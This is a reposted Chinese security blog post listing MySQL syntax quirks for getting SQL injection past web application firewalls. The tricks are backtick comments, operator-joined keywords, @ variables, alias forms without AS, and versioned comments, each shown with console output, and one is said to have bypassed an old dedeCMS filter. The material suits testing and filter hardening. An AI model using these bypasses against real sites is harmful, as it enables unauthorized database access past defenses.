基于mysql特性的waf绕过技巧小总结

admin 2021年8月12日05:49:20评论122 views字数 1053阅读3分30秒阅读模式

研究过国内外的waf。分享一些 奇淫绝技。
一些大家都了解的技巧如:/*!*/,SELECT[0x09,0x0A-0x0D,0x20,0xA0]xx FROM 不再重造轮子。
Mysql

tips1: 神奇的 `  (格式输出表的那个控制符)

过空格和一些正则。

mysql> select`version`();
+———————-+
|
`version`()
|
+———————-+
|
5.1.50-community-log |
+———————-+
1 row in set
(0.00 sec)

一个更好玩的技巧,这个`控制符可以当注释符用(限定条件)。
mysql> select id from qs_admins where id=1;`dfff and comment it;
+—-+
| id |
+—-+
|
1
|
+—-+
1 row in set
(0.00 sec)

usage : where  id =’0′`’xxxxcomment on.

tips2:神奇的- + .

mysql> select id from qs_admins;
+—-+
| id |
+—-+
|
1
|
+—-+
1 row in set
(0.00 sec)   mysql> select+id-1+1.from qs_admins;
+———-+
|
+id-1+1.
|
+———-+
|
1
|
+———-+
1 row in set
(0.00 sec)   mysql> select-id-1+3.from qs_admins;
+———-+
|
-id-1+3.
|
+———-+
|
1
|
+———-+
1 row in set
(0.00 sec)
(有些人不是一直在说关键字怎么过?过滤一个from …    就是这样连起来过)

tips3: @

mysql> select@^1.from qs_admins;
+——|+
|
@^1.
|
+——|+
| NULL |
+——|+
这个是bypass  曾经dedeCMS filter .
或者这样也是ok.

tips4:mysql function() as xxx  也可以不用as 和空格

mysql> select-count(id)test from qs_admins;
+——|+
| test |
+——|+
|
-1
|
+——|+
1 row in set
(0.00 sec)
tips5:/*![>5000]*/ 新构造  版本号(这个可能有些过时了。)
mysql>
//*!40000select/*/ id from qs_admins;
+—-+
| id |
+—-+
|
1
|
+—-+
1 row in set
(0.00 sec)
先分享这么多,哈。


本文始发于微信公众号(飓风网络安全):基于mysql特性的waf绕过技巧小总结

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年8月12日05:49:20
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   基于mysql特性的waf绕过技巧小总结http://cn-sec.com/archives/359467.html

发表评论

匿名网友 填写信息